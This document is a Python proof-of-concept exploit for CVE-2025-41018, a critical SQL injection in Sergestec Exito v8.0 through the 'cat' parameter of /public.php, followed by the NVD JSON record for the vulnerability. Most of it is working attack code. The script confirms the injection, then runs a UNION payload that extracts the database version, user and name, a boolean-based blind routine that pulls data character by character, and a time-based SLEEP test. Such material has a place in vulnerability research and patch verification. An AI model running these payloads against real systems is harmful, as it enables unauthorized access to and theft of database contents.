CVE-2025-41018

# CVE-2025-41018 - Sergestec Exito v8.0 SQL Injection PoC # Vulnerability: SQL Injection via 'cat' parameter in '/public.php' # CVSS: 9.8 (Critical) # Author: Security Researcher import requests import sys TARGET_URL = "http://target.example.com/public.php" INJECTION_PARAM = "cat" # Basic SQL Injection payload to verify vulnerability def verify_sqli(target_url, param): """ Verify SQL injection vulnerability by sending a simple test payload """ # Normal request normal_payload = "1" normal_response = requests.get(target_url, params={param: normal_payload}) # SQL Injection test payload (single quote to trigger error) sqli_payload = "1'" sqli_response = requests.get(target_url, params={param: sqli_payload}) # Compare responses - different responses indicate possible SQLi if normal_response.text != sqli_response.text: print("[+] SQL Injection vulnerability confirmed!") print(f"[+] Normal response length: {len(normal_response.text)}") print(f"[+] Error response length: {len(sqli_response.text)}") return True return False # UNION-based SQL Injection to extract database information def extract_data_union(target_url, param): """ Use UNION-based SQLi to extract database version and current user """ # Payload to extract DB version and user # Adjust column count based on the original query payload = "1' UNION SELECT 1,version(),user(),database(),5-- -" response = requests.get(target_url, params={param: payload}) if response.status_code == 200: print(f"[+] Response:\n{response.text}") return response.text return None # Boolean-based blind SQL Injection def extract_data_boolean(target_url, param): """ Use boolean-based blind SQLi to extract data character by character """ result = "" for position in range(1, 50): low, high = 32, 126 while low <= high: mid = (low + high) // 2 # ASCII value comparison payload payload = f"1' AND ASCII(SUBSTRING(database(),{position},1))>{mid}-- -" response = requests.get(target_url, params={param: payload}) # Compare with true condition true_payload = f"1' AND 1=1-- -" true_response = requests.get(target_url, params={param: true_payload}) if response.text == true_response.text: low = mid + 1 else: high = mid - 1 if low > 126 or low < 32: break result += chr(low) sys.stdout.write(f"\r[+] Extracting: {result}") sys.stdout.flush() print(f"\n[+] Database name: {result}") return result # Time-based blind SQL Injection def extract_data_time(target_url, param): """ Use time-based blind SQLi for data extraction """ import time # Test if time-based injection works payload = "1' AND SLEEP(5)-- -" start_time = time.time() response = requests.get(target_url, params={param: payload}) elapsed_time = time.time() - start_time if elapsed_time >= 5: print("[+] Time-based SQL Injection confirmed!") return True return False if __name__ == "__main__": print("[*] CVE-2025-41018 PoC - Sergestec Exito v8.0 SQL Injection") print(f"[*] Target: {TARGET_URL}") print(f"[*] Vulnerable parameter: {INJECTION_PARAM}") print("-" * 60) # Step 1: Verify vulnerability if verify_sqli(TARGET_URL, INJECTION_PARAM): # Step 2: Try UNION-based extraction print("\n[*] Attempting UNION-based data extraction...") extract_data_union(TARGET_URL, INJECTION_PARAM) # Step 3: Try time-based blind injection print("\n[*] Testing time-based blind injection...") extract_data_time(TARGET_URL, INJECTION_PARAM) else: print("[-] Target does not appear to be vulnerable")

{"cve": {"id": "CVE-2025-41018", "sourceIdentifier": "[email protected]", "published": "2025-10-16T08:15:34.820", "lastModified": "2025-10-21T13:12:27.793", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL injection in Sergestec's Exito v8.0. This vulnerability allows an attacker to retrieve, create, update, and delete databases through the 'cat' parameter in '/public.php'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sergestec:exito:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "6A19865C-ECE1-4603-B70C-1DE47F6EA41D"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-sergestec-products", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}